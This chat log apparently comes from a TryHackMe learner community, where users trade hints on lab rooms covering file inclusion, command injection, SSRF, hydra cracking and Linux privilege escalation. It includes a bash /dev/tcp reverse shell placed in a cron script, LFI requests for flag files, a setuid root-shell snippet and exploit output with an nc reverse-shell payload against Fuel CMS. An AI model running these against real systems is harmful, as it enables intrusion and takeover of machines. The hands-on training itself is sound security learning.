No why? The developer can name the directory to anything he wants. If he names the directory banana then that would be the answer.

[twilit yoke]

But the error gives back what you input into the function right? and the input is languages/ shouldnt you see that back in the error?

[shadow echo]

Well the error gives back what directory is specified in the include function. So as you have found the correct answer now, that's exactly what happened. The above code with include("languages/". $_GET['lang']); is just an example. So if I'm the developer and I named my directory banana, then my include function would look like that include("banana/". $_GET['lang']); and the error would reveal that.

[little sparrow]

Anybody finish Task 6 in https://tryhackme.com/room/protocolsandservers2 ?

[harsh verge]

Yeah, what's the problem?

[tame fern]

Ended up with this. Not sure where the parameter is meant to go though.

[twilit yoke]

ooooh it's an example lol i thought it was the back-end code 😆

[little sparrow]

Not sure which wordlist to use tried several and no dice EDIT: Was tired and put wrong IP RIP

[harsh verge]

rockyou would to the job

I need a hint for the XSS room, task 8.

Even if I set a netcat listener, even if i use that website to get the requests, I still get my cookie instead of staff cookie.

Is the payload or am I overthinking it?

[shadow echo]

So in burp if you manually want to add the parameter, it belongs under the headers with 1 new line between. So in your case it would belong into line 12 with file=/etc/flag1 (just an example, not the right path)

[harsh verge]

Tried it as well.

The same cookie.

[shadow echo]

But you could for example edit the initial request in the dev tools, make it a post request, add the file=/etc/flag1 in the request body and then capture it in burp, so that you'll see where the parameter goes.

[tame fern]

That seems much easier, thanks.

[next lance]

Gave +1 Rep to @shadow echo

[shadow echo]

Not a problem, let me know if you are still stuck after that.

[harsh verge]

So, anyone any ideas for the task 8, XSS room?
I'm getting my own cookie instead of staff.

[tame fern]

Not quite sure how to edit requests in devtools though.

[shadow echo]

Are you on firefox?

[tame fern]

Yes

[shadow echo]

Then you go into the network tab, send the initial request, then you should see it in that tab and simply right click it and click "edit and resend"

[tame fern]

Right, thanks again.

I got it!

[loud spire]

Can someone help me with the command injection task 5

[vital depot]

This is beyond frustrating. I am dumb

[earnest shell]

@vital depot same bro but going forward

[loud spire]

I am unable to traverse directory

Can someone help me

[harsh verge]

https://github.com/payloadbox/command-injection-payload-list

some of the payloads from here will do the job @loud spire

see which one allows you to bypass the filters and read from the file.

[loud spire]

I have tried it, it's working but i need to go /home/tryhackme

[harsh verge]

why?

cat /home/tryhackme/flag.txt

[loud spire]

Most of the payloads are working from payloadbox but the thing is i am unable to traverse

[loud spire]

Not working

[drifting drum]

Just saying not working isn't helpful

[harsh verge]

What payload are you trying right now?

[drifting drum]

What have you tried that isn't working?

[loud spire]

See, i passed the payloadbox cheatsheet to intruder and i can see that some of them are producing the desired output, but the things is i need to navigate to the directory /home/tryhackme and i am unable to do so

[harsh verge]

why to intruder?

[loud spire]

To see what all payloads are working

In correct manner

[harsh verge]

again, why you need to traverse directories?

just use a payload that allows you to run a command

and use it to run whoami and cat

[loud spire]

See cat /home/tryhackme/flag.txt isnt working

Whoami runs

Successfully

I need to cat to read flag

[harsh verge]

what payload are u using?

[loud spire]

ls; whoami

Or ls; pwd

ls | pwd

[harsh verge]

it works.

with ls; as well

[vital depot]

Tight. I've hit a road block myself.. for two days. I'm trying to contain myself ha

[loud spire]

What should i do give ne some hint

[harsh verge]

try inserting the payload directly into the web

or follow the response in burp if you want to do it that way

the payload you're using it's working fine. just go to http://machineip and insert it there.

I'm going to grab something to eat. Lemme know if you got it working @loud spire

[tame fern]

Can't get the structure, right?

[noble plover]

Hello, I'm in Linux PrivEsc room task 11 (NFS), I followed exactly what exists in the text but I didn't get the root. Why?

[vital depot]

Nuh uh. I've tried looking for POST request url examples so I'm not using** ?file=** in the url, but to no avail.

[tame fern]

I could send you mine?

[vital depot]

Tempting.. might just bang my head against this wall for a little longer. I'd take a hint though if I send you my query string?

[drifting drum]

Post it here. Just spoiler tag it

[tame fern]

It's not really about strings. It's about formatting.

[vital depot]

Yea, sorry I'm just referring to it in the context of the Query String box in dev tools

[subtle forge]

Hey, anyone having issues with the NMAP live host discovery TASK 2 view site option?

the view site option open up a network diagram of a subnet. we are excpected to select the To and FROM machines and then select the PACKET TYPE and send the packet. This doesnt work :/

[vital depot]

I reverted back to using ?file= ... I know that's not correct but nothing else has worked

[subtle forge]

it just doesnt do anything

[tame fern]

My dev tools don't have that so I had to use burp

LFI has been the one room that has given me trouble ngl

[subtle forge]

yep. neither does task 4.

[subtle forge]

done that. just annoying. probably try to open a new session

woah that worked lol. nvm. Thanks @steel nymph

[next lance]

Gave +1 Rep to @steel nymph

[tame fern]

It should be file=inclusion goes here

[vital depot]

Still no dice

I tried null bytes too, but that wasn't having it

[tame fern]

Maybe just do it in Burp?

That's what worked for me

[hoary bronze]

my vm wont load any webpages.. first time using a vm so im not sure what to do

thank you

[next lance]

Gave +1 Rep to @steel nymph

[subtle forge]

sorry to ask but are you unable to do it in the firefox debugger tool?

[vital depot]

Yep

Mate, thank you ffs haha

[next lance]

Gave +1 Rep to @steel nymph

[noble plover]

int main()
{ setgid();
setuid();
system("/bin/bash");
return 0;
}

[vital depot]

For sure. It was worth it. Even for the tiny steps

[subtle forge]

this jr pentester path is just top notch

[vital depot]

Thanks @tame fern for the help too

[drifting drum]

You need to put 0 in the parentheses after setuid and setgid. That code is setting your user and group ID = to that if another user. You want to be root, so you set it to 0 because thats the root gid and uid

[wet gulch]

okay i read back and still couldn't understand im stuck on file inclusion task 4 question 2

[subtle forge]

In Lab #2, what is the directory specified in the include function?

[wet gulch]

yes

[subtle forge]

the answer is right there when you enter a file name

in the error3

[twilit yoke]

What do you mean exactly? i have the same problem i edited the GET to POST and resend it. Then i look for the response in the network tab but i dont see any change

[wet gulch]

so the goal isnt to find a file ?

[noble plover]

Thank you 😁

[next lance]

Gave +1 Rep to @steel nymph

[subtle forge]

the goal is to identify the directory. if that is the same task you mentioned earlier

[wet gulch]

the include_path is the directory specified in the include function

[subtle forge]

maybe share a screenshot here of the error you see?

[wet gulch]

im very new

[brittle gyro]

has anybody had issues logging into to the Windows Priv esc box? I've been getting errors for about the last hour

[subtle forge]

but this is lab1

[wet gulch]

okay then im lost

[twilit yoke]

@vital depot How did you solve your POST request problem? i double clicked, opened new tab etc but it wont help and i have no experience with burp suite just took a look at that

[subtle forge]

go back to home, select lab2 and then enter a file name and see what you get

[wet gulch]

oh yeah im dumb

[shadow echo]

You can also do it with the dev tools in firefox, so no need for burp

[vital depot]

For flag1? Can you post a screenshot of your dev tools request?

[twilit yoke]

@vital depot

[vital depot]

Can you right click on that request, edit it, and send a shot of the whole request window?

[subtle forge]

in the dev tools, you can inspect the webpage, then check the code where the form section is present, modify the METHOD type to POST, in the place where you have to add the file name, modify the source code with a value: "?file=add the file path here"

[acoustic python]

hi guys, i have a trouble with repeater exercise (burp), i send the request with the product modify to 1000 or symbol, but the response is always a 404 not found, and i cant achieve the 500 error requested with the answer, anyone can help here?

[subtle forge]

you can try a negative value

[somber mulch]

try a negative value

[twilit yoke]

@vital depot

[vital depot]

@twilit yoke include Content-Type: ||application/x-www-form-urlencoded|| in the Request Header, and file path payload in the Request Body. I didn't include the exclamation like @subtle forge suggested, but it worked. So I guess either will

[subtle forge]

its a POST request so you might have to enter the file path in the body of the requets

[acoustic python]

you deserve some drink bro, thanks a lot

[next lance]

Gave +1 Rep to @somber mulch

[somber mulch]

Thanks Buddy ... tried hard enough ..

[next lance]

Gave +1 Rep to @acoustic python

[twilit yoke]

wow i get it now, thanks alot @vital depot @subtle forge

[next lance]

Gave +1 Rep to @vital depot

[lusty bolt]

nvm

[vital depot]

Cool man 🙂

[subtle forge]

glad to help! just started with THM 4 days ago and I am lovin it!

[twilit yoke]

Did you already finish the Junior Pentest path?

[subtle forge]

nope. currently on Network Sec

[rapid kite]

are you able to do telnet portion?

[twilit yoke]

In the beginning it goes very fast but now i've noticed it takes more time to complete rooms

[subtle forge]

which task are you referring to?

[rapid kite]

Protocols and Servers

Task 3

HTTP portion, i logged into telnet port 80 and Http request it

[subtle forge]

oh no. havent reached there yet

[rapid kite]

no flag :/

ahh ok.

[subtle forge]

sorry

[rapid kite]

things are getting harder

[rapid kite]

Np!

[tame fern]

RFI capstone has to be the easiest bit of the LFI room

[lusty bolt]

anyone know how long the passwords should take to crack? I'm at try 2000 with hydra and rockyou wordlist https://tryhackme.com/room/netsecchallenge

-t 64 as well and its taking a while

I guess ill just wait

[north dove]

maybe

i'm bad at hydra btw! I haven't learned it properly

[somber mulch]

it shouldn't have taken that much time

[lusty bolt]

I'm trying to crack the password for eddie

lol

[normal totem]

Which port do you use? ftp? Which port is the ftp service listening?

[lusty bolt]

||ftp, port 10021||

I've checked that it is actually working with -d

[normal totem]

That’s right. Shouldn’t take too long.

[lusty bolt]

it says it's gonna take 342 minutes lmao

[normal totem]

Took only a few seconds to find passwords of both users

[lusty bolt]

hmm

[tame fern]

Should be a little less than a minute for both.

[normal totem]

Try ftp://IPADDRESS:10021

[tame fern]

If they take longer then something's wrong.

[normal totem]

Worked pretty well for me

[tame fern]

Pretty sure port isn't the flag you should be using. Look at the manual.

[lusty bolt]

I'm not using the flag "port", I was using -S

Got it

When I login with FTP should I just use ls -a to find the flag?

[shell lintel]

@wanton prism same here. I did the ' OR 1=1;-- statement and I am able to go to level 3 task, but flag is the same as was in Task 5. Did you manage to get right flag for Task 6 ?

Hah, you just need to click Level 3, and correct flag will pop out.

[lone river]

i absolutely hate file inclusion

why does the challenge 3 request work with forward through proxy but not when using burps repeater? can someone explain because im struggling to understand and i wasted so much time with spamming the same request through the repeater

[twilit yoke]

is burp suite needed for challenge 3?

ok ty

[lusty bolt]

hmmm I'm at attempt 26000 of the quinn user

using the exact same command that worked with the eddie user but obviously with quinn instead of eddie

[lone river]

||POST /challenges/chall3.php HTTP/1.1
Host: 10.10.101.220
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://10.10.101.220
DNT: 1
Connection: close
Referer: http://10.10.101.220/challenges/chall3.php
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

file=../../../etc/flag3%00||

ive been trying this all day already

and then ive asked @burnt orchid for help and then they told me theyve used the same, but i should try it with a direct proxy request forward and then it suddenly worked.

[earnest shell]

Anyone want to team up for burpsuite or networksecurity?

[lone river]

The repeater request works too. why tho? ive been jumping so many machines because i took so long they always expired

hdym? it worked

nope

location of chall3.php doesnt count as it is the origin

[lusty bolt]

this can't be right
I'm at attempt 55000
is this command correct? || hydra -l quinn -P /usr/share/wordlists/rockyou.txt ftp://10.10.52.232:10021 -t 64 -V||

[sullen perch]

can someone help me with local file inclusion?

why is this wrronggg?

||http://10.10.28.252/lab1.php/etc/passwd||

why is this wrong?

[hasty hill]

This one worked for me but I used less info on POST

[subtle forge]

the question says to read the /etc/passwd file. By just entering the/etc/passwd path in the URL, it will not read it

[sullen perch]

umm what should i enter?

[twilit yoke]

In the last challenge, gain RCE with RFI am i suppose to make a webserver?

[lusty bolt]

@steel nymph know if this command is correct?

[lone river]

hdym less info?

[lusty bolt]

Well I looked at a writeup and it said you need to use the quinn user and password

[burnt orchid]

uhm hy? 😄

[sullen perch]

||lab1.php/get.php?file=/etc/passwd||

why is this wrtong?

[subtle forge]

you need to query for the file. think what we use to query and add the path there

[sullen perch]

reeeeeee

[twilit yoke]

@steel nymph is there anything pre-build in the THM AttackBox where i need to take a look at for making webserver?

hm ok

[tepid raft]

Where I can find username and password

How ?

[drifting drum]

-v

[civic fog]

Anybody having intermittent connection drops to boxes over openvpn?

[drifting drum]

Add it to the command

[civic fog]

bro use scrot or something I can't even read that lmfao

[tepid raft]

Is the same result

[zenith lodge]

When the event is over, does the room close? or are just the ticketing system disabled?

[steel ice]

just tickets

[zenith lodge]

thank you

[twilit yoke]

@steel nymph is this the wrong way? does it have to be php?

[modest arch]

how did you manage to get that request? I've been trying for days but i copy this and it worked lol

[wispy heron]

[zenith lodge]

make sure youre at the same directory as the valid names.txt

[tepid raft]

Is the same

[steel ice]

it's just top something list, not the full one

why are you filtering 200?

[agile adder]

Anyone have any problems opening up the website for xss task 8? I get https://machine_IP.p.thmlabs.com as the link. I copy and paste into my attackbox browser to open it, and get certificate issues warning. I accept and continue and then get 504. I've run nmap and tried using just http, which gives me the nginx page. I've even tried port 9999, but can't connect. I've terminated and restarted the web machine 3x and terminated by attackbox once.

[tepid raft]

In bypass authentication task 3

[zenith lodge]

your valid_username.txt file name is custom, it shouldn't matter but anyways -> is the content of the file correct and have the specific usernames you found?

[agile adder]

thanks mate

[next lance]

Gave +1 Rep to @steel nymph

[subtle forge]

http://add_the_machine_ip_address

[zenith lodge]

also check that you are at the correct IP. there the "active machine ip" you need not the one all the way at the top nav bar

[tepid raft]

No

[wild sundial]

is it in the same dir?

[tepid raft]

Yes

Thank you so much 😊

[noble rose]

Hey guys, can someone link me to a nice SSRF explanation? Because the room alone is not enough for me

[twilit yoke]

When I run my webserver it gives back the hostname but when I put it into the Lab is says couldn't connect to server?

[noble rose]

Thanks bro!

[next lance]

Gave +1 Rep to @steel nymph

[twilit yoke]

ahh

does it matter if it's a file or happens when getting on landingpage?

haha

Remote FILE Inclusion, my bad

[lone river]

The method of the form (say the input) is specified in the Source code. You can simply switch it to post by editing with dev tools. Then you can query with a test or empty value and catch the request with burps proxy

[modest arch]

Yeah, I tried that but I guess I was doing it wrong. I don't like to copy paste, feels like cheating haha

[lone river]

If you copy and paste, you should try to understand why the copypasta works. Youre playing yourself if not. And real assessments are going to give u a hard time if you dont know the attack surface.

[unborn jewel]

for god sake am stuck at linux priv room i cant get a reverse shell on task 9 cron jobs

bash -i >& /dev/tcp/ip/4444 0>&1

put that in /home/karen/backup.sh

and listening with nc -lvnp 4444

[small scroll]

ין בש

מ שמטםמק

יקךפ

hi ca

n anyone help

sqlinjectionv2 room?

[unborn jewel]

it works

like that

but with root

no

if i execute it myself it works but i need root to run it

crontab says the script works every minute

like that

will try it with attack box

now i understand xd

xdddd

[small scroll]

in time based injection i cant seem to find the domain any help?

query admin123' UNION SELECT SLEEP(2),2 FROM ||analytics_referrers|| WHERE ||domain|| like'%

i did found the table name but cant find the query after that

sry i found the column name too

[wild sundial]

why would u use that table

[shy elk]

Hi, for linux privEsc task 6, I have no idea how to continue from this point

karen@ip-10-10-9-123:/$ sudo cat /etc/shadow
[sudo] password for karen:
Sorry, user karen is not allowed to execute '/usr/bin/cat /etc/shadow' as root on ip-10-10-9-123.eu-west-1.compute.internal.
karen@ip-10-10-9-123:/$ cat etc/shadow
cat: etc/shadow: Permission denied

Please help

I left with this question "What is the hash of frank's password?"

I follow the task using LD_PRELOAD=/tmp/shell.so find and cat flag2.txt already. But it still shows access denied when reading etc/shadow

I got following after sudo -lMatching Defaults entries for karen on ip-10-10-9-123:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User karen may run the following commands on ip-10-10-9-123:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano

Got it. Thank you👍

[twilit yoke]

How can i put a specific file on my python webserver? i cant figure it out

[little sparrow]

https://tryhackme.com/room/burpsuiteintruder Task 8: What would the body parameters of the first request that Burp Suite sends be? Stuck on this one and would like some help on battering ram!

yeah I looked at hint and tried several things but still don't understand

Does the answer have "§" symbols?

Ah, it was just formatting - thanks!

[twilit yoke]

Am i doing something wrong @steel nymph? I have in the folder of the webserver.py file another folder which contains 2 files. A php script and a text file for testing but i cant reach both of them.

haha ok it is working now:)

ah

🥳

[modest arch]

gf 😄

but ssrf also same

[north dove]

How's the level?

I'll be doin that once i get a subscription

[twilit yoke]

well I didnt expected to be working on this single room for like 4 hours lol

[north dove]

atleast it was worth the 4

[modest arch]

4 hours? very good. it took my 2 days 😄

[noble rose]

it was 3 days for me

LOL

BUT we learned something

[modest arch]

what about ssrf btw 😄

[twilit yoke]

yes was very educating

[modest arch]

sure

[noble rose]

im stuck there now

hahaha

[twilit yoke]

but i study it-security so i should do better lol

i will catch up soon

[red wraith]

hi, I am on linux privesc, task 8, third question. Don't understand what do I have to answer here

[twilit yoke]

You guys had any good tickets so far?

I was hoping for the OSCP voucher

but no luck for me

[red wraith]

If I retrieve all them, I think that have like 3 weeks of streak, 3 days streaks complete, 2 Pentester titles... And nothing else. Throwback: 2 cards, 1 month and 3 month 2x... Nothing else

[noble rose]

Forget the tickets its over

too late

[twilit yoke]

i have kinda the same

[twilit yoke]

till 27th right?

[noble rose]

yeah but all the good stuff have been redeemed

[twilit yoke]

ah really 😦

[noble rose]

Its limited, thats why we get alot of pentestet titles and stuff

cuz those are free

But its ok

[twilit yoke]

good you tell me this i was about 2 grind so hard for the 27th lol

[noble rose]

nah dont man

thats what i thought as well

last 8 rooms all pentester and day skips

[twilit yoke]

sad

first come first serve

[noble rose]

yeah just take your time now

[wild sundial]

its simply the binary name

[red wraith]

well, I will end privilege escalation and invest some days on Buffer overflows

[red wraith]

yes, I found it, but don't understand the question related to the others...

[twilit yoke]

It doesn't update at my place tho @noble rose

[wild sundial]

i got 2 oscp vouches just on finishing like 50%, after that only pentester titles

[noble rose]

yeah it doenst just a picture

[twilit yoke]

ah clickbait

[noble rose]

sadness

[twilit yoke]

oof

HAK5 must have been exciting

[noble rose]

can anyone help with SSRF task 2 ?

[modest arch]

I got the 3 tickets for it

What part you stuck on w it

[modest arch]

Lucky + congrats

[twilit yoke]

wanna switch accounts?

[noble rose]

im not understading it

[twilit yoke]

congrats tho

[noble rose]

mainly cuz i suck at programming

[modest arch]

[noble rose]

i dont know what the &x= shit is

[modest arch]

Read through the site it gives you a few times, and take into account what you learnt from file inclusion

[wild sundial]

read step 4 of the example slowly and have a look at what is the expected request, what hacker requests and how server requests

[modest arch]

^

[noble rose]

alrighty

wish me luck im going in

[modest arch]

It gives you everything you need to know

[wild sundial]

yeh gl mate

[modest arch]

Have fun

[noble rose]

https://tenor.com/view/hackerman-mr-gif-12747764

[red wraith]

tricky, but after two or three reads you'll see it

[subtle forge]

anyone done with the vulnerability capstone?

?

stuck at setting up a netcat revrse listener and gaining RCE

So I setup the listener on my attacking machine(attackbox) on port 5550. Its listening.
Next, I opened another terminal and ran the python3 exploit.py http://machineIP
So its given me a menu where I select the "shell_me"
so when I enter my attacking machine IP there and the port 5550, it fails.

||CVE-2018-16763
https://www.exploit-db.com/exploits/47138
in the attack box, its present in the path:/usr/share/exploits/vulnerabilitiescapstone||

it says in the hint too!

once you run the exploit, it automatically asks you to run reverse shell

sorry, didnt get ya :/

[wild sundial]

if you use that exploit given, shell_me should be enough

[subtle forge]

yep, so in shell_me, if I enter the IP of the attacking machine and the port I am making it listen to, its failing

[wild sundial]

whats the error

do u have connection to thm network?

[subtle forge]

yep.Im using the terminals in the attackbox itself. not on the local machine

[wild sundial]

try listen from ur local machine again

[deep scaffold]

do you enter the ip and port like this IP:PORT ?

[subtle forge]

yes

||root@ip-10-10-26-94:/usr/share/exploits/vulnerabilitiescapstone# python3 exploit.py http://10.10.15.166

---

| | | / __ | / |/ |
| | _ _ | | / /| . . |\ --. | _| | | |/ _ \ | | | |\/| | --.
| | | || | __/ | _/| | | |/_/ /
_| _,|_||_/_| |/__/
Tested on 1.4
Created by Ac1d

Menu

exit - Exit app
shell_me - Get a reverse shell (netcat)
help - Show this help

fuelCMS$ shell_me
Enter your attacking machine IP:PORT $ 10.10.26.94:5550

Hope you had your listener ready!!
An error occured, please try again...

HTTPConnectionPool(host='http', port=80): Max retries exceeded with url: //10.10.15.166/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a(%27rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/sh%20-i%202%3E%261%7Cnc%2010.10.26.94%205550%20%3E/tmp/f%27)%2B%27 (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7fc64abd3c50>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution',))||

[noble rose]

Can i dm someone for the SSRF task 2 please ?

[viral token]

Would any help me with SSRF Practical please?

[wild sundial]

too many requests to the server. maybe reset the connection and try again?

should work fine normally

[viral token]

I tried as instructed change the directory to x/../private. but /private doesn't show up on the source code

[subtle forge]

reset as in start a new listener or refresh the attackbox??

[wild sundial]

attackbox

[viral token]

and I couldn't decode the base64 code using base64decode.org too

[subtle forge]

will do. thanks!

[next lance]

Gave +1 Rep to @wild sundial

[shell lintel]

@cobalt skiff @main dune thanks, you helped mi finish SQLi challange in Task 8.

[next lance]

Gave +1 Rep to @cobalt skiff

[tardy idol]

Are there supposed to be creds for the windows priv esc room anyone know?

[wild sundial]

inspect on current avatar and u should see a base64 string that ends with ==

[tardy idol]

Thanks! I just me blind, I can't see that anywhere on the page

[next lance]

Gave +1 Rep to @steel nymph

[viral token]

Thanks a lot!!!

[next lance]

Gave +1 Rep to @wild sundial

[vast nova]

Anyone else having issue SSHing into the linux privesq with provided creds? Also noticing that I cannot wget files from my local http server to the attack box. Have confirmed I'm on VPN correctly, able to ping the box fine, and have even stopped and re-started box and my own system. Am I crazy?

[wild sundial]

what about curl

[vast nova]

Curl not installed, karen not a sudoer

[wild sundial]

u just cant wget?
have u used the output dir flag ?

[tardy idol]

I didn't have any issues sshing into the box about an hour ago

[drifting drum]

Move to /tmp to use wget

You don't have write perms for the directory you're in

[vast nova]

Hi all, I initially moved into /tmp to try to wget, system just hung. Same with me trying to SSH in. Tried wget from /tmp outbound to pull file off net and also just sits frozen.

[shadow echo]

So I just did that task and on my local machine and it was working just fine.

[vast nova]

maybe it's my config. I'll dig around as both machines can ping each other just fine.

Seems it was tied to my home VPN. Disconnecting and suddenly everything works again. Sorry for false alarm, all.

[rapid kite]

Hello! Anyone could direct me in the right direction for https://tryhackme.com/room/exploitingavulnerabilityv2 (last task)

[shadow echo]

So have you answered the first question of that task already ?

[rapid kite]

yup, online ****

[shadow echo]

And what about the exploit, have you found the correct one already?

[untold cargo]

can someone help me with the ssrf

i'm not getting how i do task 2

[rapid kite]

through exploit-db

[rapid kite]

RCE right.

[untold cargo]

i placed the &x=api

[rapid kite]

i downloaded the file and ran with the ip address.

not sure what im doing wrong

[shadow echo]

How did you run it?

[rapid kite]

like this -> python 47887.py 10.10.148.177

[wild sundial]

read step 4 of the example slowly and have a look at what is the expected request, what hacker requests and how server requests

[shadow echo]

You have to use python3

[rapid kite]

AH

crap

[shadow echo]

Also not sure if you have to put http:// infront of the IP, but I don't think so

[rapid kite]

same issue though

[rough ore]

Problem with task 11 Linux Prives cant root mount -o rw,vers=2 10.10.117.1:/tmp /tmp/test
mount: only root can use "--options" option

[untold cargo]

yeah i'm not getting it

[shadow echo]

So you tried it with http://IP and still not working? What's the error you get?

[rapid kite]

Attempting to upload PHP web shell...
Traceback (most recent call last):
File "47887.py", line 28, in <module>
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
File "/usr/lib/python3/dist-packages/requests/api.py", line 112, in post
return request('post', url, data=data, json=json, **kwargs)
File "/usr/lib/python3/dist-packages/requests/api.py", line 58, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 506, in request
prep = self.prepare_request(req)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 449, in prepare_request
hooks=merge_hooks(request.hooks, self.hooks),
File "/usr/lib/python3/dist-packages/requests/models.py", line 305, in prepare
self.prepare_url(url, params)
File "/usr/lib/python3/dist-packages/requests/models.py", line 379, in prepare_url
raise MissingSchema(error)
requests.exceptions.MissingSchema: Invalid URL '10.10.148.177/admin_add.php': No schema supplied. Perhaps you meant http://10.10.148.177/admin_add.php?

sorry i can't send images over here for some reason